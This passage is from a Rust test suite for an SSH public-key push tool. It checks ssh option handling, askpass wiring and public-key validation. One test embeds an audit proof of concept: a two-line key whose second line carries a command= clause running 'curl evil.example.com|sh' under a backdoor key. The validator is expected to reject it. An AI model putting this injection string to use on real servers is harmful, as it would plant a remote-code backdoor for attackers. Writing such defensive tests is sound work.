887        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
888            .get_args()
889            .map(|a| a.to_string_lossy().into_owned())
890            .collect()
891    }
892
893    fn push_env_names(auth: &PushAuth) -> Vec<String> {
894        build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
895            .get_envs()
896            .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
897            .collect()
898    }
899
900    fn has_opt(args: &[String], value: &str) -> bool {
901        args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
902    }
903
904    #[test]
905    fn build_push_command_without_auth_sets_batch_mode_and_still_wires_askpass() {
906        // BatchMode keeps the target from being asked at all. The askpass
907        // program is wired anyway, because it is the only part of this that
908        // a ProxyJump hop inherits: ssh builds that hop's command without
909        // any `-o` option, so a bastion with nothing to answer would
910        // otherwise prompt on the terminal.
911        let auth = PushAuth::default();
912        let args = push_args(&auth);
913        assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
914        assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
915        let names = push_env_names(&auth);
916        assert!(
917            names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"),
918            "got: {names:?}"
919        );
920        assert!(
921            !names
922                .iter()
923                .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR),
924            "there is no secret to carry: {names:?}"
925        );
926    }
927
928    #[test]
929    fn build_push_command_with_source_wires_askpass_without_batch_mode() {
930        let auth = PushAuth {
931            askpass: Some("keychain".into()),
932            ..Default::default()
933        };
934        let args = push_args(&auth);
935        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
936        let names = push_env_names(&auth);
937        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
938        assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
939    }
940
941    #[test]
942    fn build_push_command_with_session_password_uses_oneshot_channel() {
943        let auth = PushAuth {
944            session_password: Some("hunter2".into()),
945            ..Default::default()
946        };
947        let args = push_args(&auth);
948        assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
949        assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
950        let names = push_env_names(&auth);
951        assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
952        assert!(
953            names
954                .iter()
955                .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
956        );
957    }
958
959    #[test]
960    fn build_push_command_forwards_bw_session() {
961        let auth = PushAuth {
962            askpass: Some("bw:item".into()),
963            bw_session: Some("tok".into()),
964            ..Default::default()
965        };
966        assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
967    }
968
969    #[test]
970    fn build_push_command_always_limits_ssh_to_one_password_attempt() {
971        // A background run has one answer to give. A second prompt only
972        // sends an empty attempt and burns another failed login.
973        for auth in [
974            PushAuth::default(),
975            PushAuth {
976                askpass: Some("keychain".into()),
977                ..Default::default()
978            },
979            PushAuth {
980                session_password: Some("hunter2".into()),
981                ..Default::default()
982            },
983        ] {
984            let args = push_args(&auth);
985            assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
986        }
987    }
988
989    #[test]
990    fn build_push_command_trust_retry_uses_accept_new() {
991        let auth = PushAuth {
992            trust_new_host_key: true,
993            ..Default::default()
994        };
995        let args = push_args(&auth);
996        assert!(
997            has_opt(&args, "StrictHostKeyChecking=accept-new"),
998            "got: {args:?}"
999        );
1000        assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
1001    }
1002
1003    #[test]
1004    fn build_push_command_options_precede_the_separator() {
1005        let args = push_args(&PushAuth::default());
1006        let sep = args.iter().position(|a| a == "--").expect("-- present");
1007        let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
1008        assert!(last_opt < sep, "got: {args:?}");
1009        assert_eq!(args[sep + 1], "web1");
1010        assert_eq!(args[sep + 2], REMOTE_SNIPPET);
1011    }
1012
1013    #[test]
1014    fn validate_pubkey_accepts_ed25519() {
1015        let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
1016        assert_eq!(validate_pubkey(line).unwrap(), line);
1017    }
1018
1019    #[test]
1020    fn validate_pubkey_strips_trailing_whitespace() {
1021        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
1022        let cleaned = validate_pubkey(raw).unwrap();
1023        assert!(!cleaned.ends_with('\n'));
1024        assert!(!cleaned.ends_with('\r'));
1025    }
1026
1027    #[test]
1028    fn validate_pubkey_rejects_empty() {
1029        assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
1030        assert_eq!(
1031            validate_pubkey("   \n\n"),
1032            Err(PubkeyValidationError::Empty)
1033        );
1034    }
1035
1036    #[test]
1037    fn validate_pubkey_rejects_multi_line_command_injection() {
1038        // The exact PoC from the security audit: two valid lines, the
1039        // second wears a `command=` clause. Multi-line is the canonical
1040        // shape that grep-qxF can never dedup, so we reject upstream.
1041        let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
1042        assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
1043    }
1044
1045    #[test]
1046    fn validate_pubkey_rejects_unknown_type() {
1047        let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
1048        match validate_pubkey(raw) {
1049            Err(PubkeyValidationError::UnsupportedType(t)) => {
1050                assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
1051            }
1052            other => panic!("expected UnsupportedType, got {:?}", other),
1053        }
1054    }
1055
1056    #[test]
1057    fn validate_pubkey_rejects_bogus_base64() {
1058        let raw = "ssh-ed25519 not!valid!base64!?? comment";
1059        assert_eq!(
1060            validate_pubkey(raw),
1061            Err(PubkeyValidationError::MalformedBase64)
1062        );
1063    }
1064
1065    #[test]
1066    fn validate_pubkey_rejects_empty_blob() {
1067        let raw = "ssh-ed25519  comment";
1068        assert_eq!(
1069            validate_pubkey(raw),
1070            Err(PubkeyValidationError::MalformedBase64)
1071        );
1072    }
1073
1074    #[test]
1075    fn read_pubkey_file_rejects_oversize() {
1076        let dir = tempfile::tempdir().expect("tempdir");
1077        let path = dir.path().join("huge.pub");
1078        let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
1079        std::fs::write(&path, body).unwrap();
1080        match read_pubkey_file(&path) {
1081            Err(PubkeyValidationError::TooLarge(n)) => {
1082                assert!(n > PUBKEY_MAX_BYTES);
1083            }
1084            other => panic!("expected TooLarge, got {:?}", other),
1085        }
1086    }
1087
1088    #[cfg(unix)]
1089    #[test]
1090    fn read_pubkey_file_rejects_symlink() {
1091        let dir = tempfile::tempdir().expect("tempdir");
1092        let target = dir.path().join("real.pub");
1093        std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
1094        let link = dir.path().join("link.pub");
1095        std::os::unix::fs::symlink(&target, &link).unwrap();
1096        assert!(matches!(
1097            read_pubkey_file(&link),
1098            Err(PubkeyValidationError::NotARegularFile)
1099        ));
1100    }
1101
1102    #[test]
1103    fn remote_snippet_has_expected_markers() {
1104        // Regression guard: the worker parses these three markers; if the
1105        // snippet ever changes its echoes the parser would silently break.
1106        assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
1107        assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
1108        assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
1109        assert!(REMOTE_SNIPPET.contains("grep -qxF"));
1110        // CRLF guard is in the snippet too; if a future edit drops the
1111        // tr step, CRLF-terminated authorized_keys files would double-append.
1112        assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1113    }
1114}